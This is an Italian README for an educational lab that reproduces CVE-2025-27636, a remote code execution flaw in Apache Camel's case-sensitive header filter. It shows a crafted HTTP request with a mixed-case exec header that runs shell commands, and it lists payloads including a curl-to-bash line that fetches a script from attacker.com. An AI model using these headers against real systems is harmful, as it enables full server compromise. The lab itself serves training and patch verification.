
Laboratorio pratico per riprodurre CVE-2025-27636, una RCE critica in Apache Camel tramite bypass del filtro delle intestazioni sensibile alle maiuscole/minuscole. Dimostra l'iniezione di intestazioni per eseguire comandi arbitrari tramite l'endpoint exec.
CVE-2025-27636 è una vulnerabilità critica di Remote Code Execution (RCE) in Apache Camel, in particolare nel componente camel-exec. Deriva da un problema sottile ma pericoloso:
La
DefaultHeaderFilterStrategyesegue controlli case-sensitive sui nomi degli header, che possono essere aggirati utilizzando una capitalizzazione alternativa.
Questo significa che gli header interni di Camel—come CamelExecCommandExecutable—che dovrebbero essere bloccati possono passare se la loro capitalizzazione viene manipolata (ad es., cAmeLexecCommandExecutable).
Quando questo header raggiunge l'endpoint exec:, un attaccante può iniettare comandi arbitrari, portando al pieno compromesso del sistema.
DefaultHeaderFilterStrategyLa DefaultHeaderFilterStrategy di Apache Camel ha lo scopo di proteggere gli header interni come:
CamelHttp*CamelFile*CamelExecCommandExecutable ← 🚨 vulnerabile se la capitalizzazione aggira il filtro🔍 Cosa significa "Interno"? Gli header interni sono:
Prefissati con Camel*
Usati solo all'interno di Camel per controllare il comportamento (routing, elaborazione, endpoint)
Non destinati a essere esposti a sistemi esterni come HTTP, JMS, ecc.
Tuttavia, prima della patch, questo filtro corrispondeva ai nomi degli header in modo case-sensitive, il che viola la specifica HTTP (dove gli header sono case-insensitive) e consente bypass come:
GET /systeminfo HTTP/1.1
Host: target-ip:8484
cAmeLexecCommandExecutable: /bin/bash -c "touch /tmp/pwned"
Questo header verrebbe passato al componente exec:, che poi esegue il payload.
CamelExecCommandExecutableQuesto header dice al componente camel-exec quale comando eseguire. È potente—e estremamente pericoloso—se controllabile dall'utente, specialmente in ambienti che supportano comandi a livello di sistema operativo (ad es., bash, cmd.exe, ecc.).
Progetto: Pinewood Server Diagnostic
Autore: @enochgitgamefied
Obiettivo: Riprodurre CVE-2025-27636 in un laboratorio reale ed educativo.
Costruito con Apache Camel 4.10.0
Route:
/tasks → Elenca le attività usando exec:tasklist o exec:ps/systeminfo → Mostra le informazioni del sistema operativo (systeminfo o uname -a)/network → Mostra ipconfig o ifconfigInterfaccia web servita su / tramite Jetty integrato
Vulnerabile all'iniezione di header con capitalizzazione alterata se il filtraggio non è stato patchato
# Clone the repository
git clone https://github.com/enochgitgamefied/CVE-2025-27636-Pratctical-Lab.git
cd CVE-2025-27636-Pratctical-Lab
# Package the app
mvn clean package
# Run it
java -jar target/hello-camel-1.0-SNAPSHOT.jar
Poi visita nel tuo browser:
🖥️ http://<your-ip>:8484
Comportamento senza patch:
Se invii un header come questo (nota le maiuscole/minuscole):
cAmeLexecCommandExecutable: whoami
Il filtro non lo blocca e viene passato all'endpoint exec:. Puoi dimostrare:
whoamiuname -abash -c "curl http://attacker.com/shell.sh | bash" ← pericolosoUna dimostrazione completa è in preparazione e sarà caricata presto. Ti guiderà attraverso:
Link della demo su YouTube https://www.youtube.com/watch?v=z4Xf9LYXc9o&t=714s!
HeaderFilterStrategy personalizzata se devi applicare una logica più rigorosa.exec: direttamente a HTTP a meno che non siano completamente bloccate.exec.Questo laboratorio è progettato solo per scopi educativi e di laboratorio controllato. Mai tentare questo su sistemi o reti non autorizzati.
